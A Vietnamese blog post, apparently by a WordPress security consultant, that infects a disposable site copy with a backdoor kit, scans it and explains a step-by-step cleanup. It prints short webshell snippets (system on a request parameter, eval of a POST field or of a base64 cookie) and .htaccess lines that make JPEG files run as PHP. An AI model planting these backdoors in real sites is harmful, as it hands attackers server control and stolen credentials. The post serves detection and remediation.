
Website WordPress hiếm khi bị hack trong một khoảnh khắc kịch tính. Thường thì chỉ có một file nhỏ rơi vào chỗ nó không bao giờ nên có mặt, và đúng cái file đó lặng lẽ trao cho kẻ tấn công tất cả: cơ sở dữ liệu, khách truy cập, thứ hạng tìm kiếm, cả khả năng gửi mail của bạn. Vài tuần trôi qua trước khi có ai nhận ra — thường là lúc Google gắn cảnh báo, hoặc hosting khoá tài khoản vì phát tán spam.
Để cho thấy lượt kiểm tra của mình thật sự bắt được gì, mình không đợi một vụ thật. Mình lấy một bản sao dùng-một-lần của website WordPress 7.0 khoẻ mạnh, cho nhiễm đúng những kỹ thuật kẻ tấn công đang dùng ngoài thực tế, rồi chạy audit lên nó. Mọi payload dưới đây đã được vô hiệu hoá để giữ bản sao an toàn trên máy mình — nhưng mỗi cái vẫn mang đúng dấu vết của một lần nhiễm thật. Không có gì ở đây chạm vào website đang hoạt động.
Đây là toàn bộ quá trình.
Năm thứ kẻ tấn công để lại
Một vụ xâm nhập thật không phải một file. Nó là một bộ kit — một con shell chạy được, một đường quay lại nếu bạn xoá con shell đó, và vài thay đổi giúp cả bộ sống sót qua một lượt dọn nửa vời. Đây là bộ kit mình gài, và lý do tồn tại của từng mảnh.
1. Con webshell trong uploads/
wp-content/uploads/2026/03/wp-cache-min.php
Cái tên là lời nói dối đầu tiên. wp-cache-min.php nghe như thứ do một plugin cache tạo ra. Nó nằm trong uploads/2026/03/ cạnh các file media thật, trong thư mục chẳng ai mở ra xem bằng tay. Bên trong:
if (isset($_REQUEST['c'])) {
system($_REQUEST['c']); // chạy mọi câu lệnh kẻ tấn công gửi tới
}
@eval(base64_decode("...")); // nạp tầng tiếp theo, đã làm rối
Vậy là hết game. Bất cứ thứ gì kẻ tấn công nhét vào tham số c đều chạy với quyền của user web server. Họ đọc được wp-config.php, dump cả database, đặt thêm file, hoặc nhảy sang những website khác trong cùng tài khoản hosting.
Vì sao nó ăn: wp-content/uploads/ vốn được thiết kế cho ghi được — buộc phải như vậy, để WordPress lưu ảnh bạn tải lên. WordPress nguyên bản không có gì chặn một file .php được ghi vào đó, và cũng không có gì chặn server thực thi nó sau khi đã ghi. Khoảng hở đó là điểm yếu bị khai thác nhiều nhất của nền tảng này.
2. Cái ảnh polyglot
wp-content/uploads/2026/03/sunset.jpg
Mở ra thì nó là một file JPEG hợp lệ. Những byte đầu là header ảnh thật, nên thư viện media vẫn hiện xem trước như một bức ảnh. Nhưng nối thêm sau phần dữ liệu ảnh là:
<?php eval($_POST[0]); ?>
Đây là con shell dự phòng. Nếu người quản trị tìm ra wp-cache-min.php và xoá đi, kẻ tấn công vẫn còn một con shell nằm trong file trông y hệt ảnh đi du lịch — và phần lớn các lượt dọn dẹp không bao giờ mở ảnh ra xem.
3. Cái .htaccess khiến tấm ảnh chạy được
Một file .jpg có chứa PHP là vô hại trừ khi server đồng ý thực thi nó. Nên kẻ tấn công đặt thêm cái này vào uploads/:
php_value auto_prepend_file /var/www/html/wp-content/uploads/2026/03/wp-cache-min.php
AddType application/x-httpd-php .jpg
Hai dòng, hai việc. AddType bảo server coi mọi file .jpg trong thư mục này là PHP thực thi được — giờ sunset.jpg là một con shell chạy tốt. Còn auto_prepend_file chạy con webshell trước từng request một trong thư mục đó, nên ngay cả một request lấy ảnh thật cũng tái lập chỗ đứng cho kẻ tấn công.
Đây là cơ chế trụ lại, và là mảnh mà phần lớn lượt dọn bỏ sót. Bạn có thể xoá sạch mọi file PHP độc trên server, rồi cái .htaccess này sẽ hồi sinh toàn bộ vụ nhiễm từ một tấm ảnh ngay giây phút có người mở trang.
4. File lõi bị sửa
wp-includes/load.php
WordPress phát hành kèm một tập file lõi cố định, và mỗi bản chính thức đều công bố danh sách checksum chính xác của chúng. Kẻ tấn công biết hầu hết mọi người không bao giờ đi đối chiếu, nên một chiêu ưa thích là chèn vài dòng vào file được nạp ở mọi trang:
if (isset($_COOKIE['x'])) {
eval(gzinflate(base64_decode($_COOKIE['x'])));
}
Giờ kẻ tấn công thậm chí không cần file shell riêng. Họ gửi một cookie, và website thực thi đúng nội dung trong đó — bọc dưới base64 rồi gzip nên nhìn qua file thì chẳng thấy gì. Đây là mảnh khó phát hiện nhất bằng mắt, và dễ bắt nhất bằng cách đối chiếu checksum.
5. File giả dạng wp-admin và bản backup config bị lộ
wp-admin/wp-admin.php <- không tồn tại trong WordPress thật
wp-config.php.bak <- mật khẩu database của bạn, phục vụ dạng văn bản thuần
wp-admin.php là file chưa từng tồn tại trong bất kỳ bản WordPress nào — nó được đặt tên để lẫn vào wp-admin/. Còn wp-config.php.bak mới là sát thủ thầm lặng: web server thực thi .php nhưng trả .bak về dưới dạng văn bản thuần. Ai gọi https://site.com/wp-config.php.bak là đọc thẳng thông tin database của bạn ngay trên trình duyệt. Cái này không phải lúc nào cũng do kẻ tấn công — có khi là một lập trình viên có thiện chí sao lưu trước khi sửa. Hậu quả thì y như nhau.
Chạy lượt kiểm tra
Đây là bản báo cáo đã lược của công cụ quét mình chạy lên bản sao bị nhiễm. Nó chỉ-đọc — đọc file, đối chiếu với checksum chính thức của WordPress, và không sửa gì cả:
== 1. Core integrity
[CRITICAL] 1 core file(s) differ from the official WordPress 7.0.2 release
wp-includes/load.php
[HIGH ] 1 unexpected file(s) inside wp-admin/ or wp-includes/
wp-admin/wp-admin.php
== 2. Configuration & hardening
[CRITICAL] Backup copy of wp-config.php in the web root
wp-config.php.bak
[CRITICAL] .htaccess contains directives typical of a persistent backdoor
wp-content/uploads/.htaccess: php_value auto_prepend_file ...
wp-content/uploads/.htaccess: AddType application/x-httpd-php .jpg
== 3. Uploads directory
[CRITICAL] Executable PHP inside wp-content/uploads
wp-content/uploads/2026/03/wp-cache-min.php
[CRITICAL] Image files containing PHP code (polyglot payload)
wp-content/uploads/2026/03/sunset.jpg
== 4. Suspicious code patterns
[CRITICAL] eval() over an obfuscated payload (2 file(s))
wp-content/uploads/2026/03/wp-cache-min.php
wp-includes/load.php
== Summary
CRITICAL 6 HIGH 3 MEDIUM 5 LOW 3 OK 5
Sáu phát hiện CRITICAL, và — đây là phần quan trọng — chúng chỉ vào nhau. File load.php bị sửa, con shell trong uploads, cái ảnh polyglot, và cái .htaccess nối chúng lại không phải sáu vấn đề rời rạc. Chúng là một bộ kit có phối hợp. Đó chính là khác biệt giữa một website bị xâm nhập và một website chỉ hơi bừa bộn: ở website khoẻ, các phát hiện là mấy chuyện vệ sinh rải rác; ở website bị hack, chúng xếp thành một chuỗi.
Vài dòng về báo động sai
Bản báo cáo cũng đánh dấu 25 file “gọi shell với tham số là biến” và 20 file “có khối base64 dài”. Gần như tất cả trong số đó là hợp lệ. Rank Math, WP Mail SMTP, và cả bản thân WordPress core đều dùng base64_decode() cùng các hàm shell vì những lý do hoàn toàn ngay thẳng. Một công cụ quét mà coi mỗi lần trùng khớp là mã độc thì còn tệ hơn vô dụng — nó sẽ vùi sáu phát hiện thật xuống dưới cả trăm cái giả.
Vì vậy công cụ này báo tín hiệu, không phải bản án, và vì vậy mọi phát hiện mình đưa vào báo cáo cho khách đều đã được mở ra đọc bằng tay trước. Máy quét thu 5.000 file xuống còn hơn chục file đáng để một con người để ý. Đọc hơn chục file đó mới là công việc.
Dọn nó — theo đúng thứ tự
Thứ tự quan trọng hơn cả bản thân việc dọn. Làm sai thứ tự thì website nhiễm lại trong vài ngày, khách kết luận rằng bạn không sửa được, và bạn mất cả tiền lẫn lời giới thiệu.
- Bịt đường vào trước. Trước khi xoá một file độc nào, hãy tìm và vá cách họ đi vào — gần như luôn là một plugin đã cũ. Dọn trước khi bịt thì kẻ tấn công cứ thế đi lại vào bằng đúng cánh cửa đó.
- Diệt cơ chế trụ lại. Xoá cái
.htaccessđể mấy tấm ảnh thôi thực thi. Đây là bước hai vì nó chính là thứ tái tạo mọi thứ còn lại. - Phục hồi file lõi từ nguồn sạch. Thay
wp-includes/load.php— và tốt nhất là cảwp-adminvớiwp-includes— bằng bản tải mới của đúng phiên bản WordPress đó. Đừng bao giờ sửa tay một file lõi đã bị nhiễm; bạn không thể chắc mình tìm ra hết mọi dòng bị chèn. - Xoá các con shell. Xoá
wp-cache-min.php, filewp-admin.phpgiả, tấmsunset.jpgpolyglot, và cáiwp-config.php.bakđang phơi ra. - Đổi hết mọi thông tin bí mật. Mật khẩu database mới, salt xác thực mới, và đăng xuất toàn bộ phiên. Kẻ tấn công đã có thông tin đăng nhập của bạn; cứ coi như họ vẫn đang có cho tới khi bạn đổi.
- Gia cố để nó không tái diễn. Chặn thực thi PHP trong
uploads/, tắt trình sửa file ngay trong dashboard (DISALLOW_FILE_EDIT), và xoá các plugin không dùng — code đã tắt vẫn nằm trên đĩa và vẫn khai thác được.
Rồi chạy lại lượt kiểm tra và gửi kèm kết quả sạch làm bằng chứng công việc đã xong.
Những gì bài này không bao gồm
Trung thực là một phần của công việc, nên xin nói rõ: một lượt kiểm tra ở mức file như thế này chứng minh được hệ thống file sạch, chứ không chứng minh được website sạch. Mã độc sống hẳn trong database — link spam bị chèn, một user admin lạ, một tác vụ hẹn giờ độc — cần những phép kiểm khác, và đó là lý do quy trình đầy đủ của mình còn soát cả danh sách tài khoản admin và các sự kiện cron. Còn sau một vụ xâm nhập đã xác nhận, con đường đáng tin cậy trọn vẹn duy nhất là dựng lại từ nguồn sạch, chỉ mang sang nội dung database và những file upload thật. Dọn tại chỗ thì nhanh hơn và thường là đủ, nhưng đó là một quyết định có đánh đổi, và người làm nghề tử tế sẽ nói cho bạn biết họ đang chọn cách nào và vì sao.
Nếu website WordPress của bạn đang có biểu hiện lạ — tự chuyển sang trang khác, kết quả tìm kiếm ra spam, hosting gửi cảnh báo — mình nhận kiểm tra bảo mật chỉ-đọc và gỡ mã độc. Lượt kiểm tra đi kèm một bản báo cáo bạn được giữ, dù bạn có thuê mình dọn tiếp hay không. Liên hệ với mình.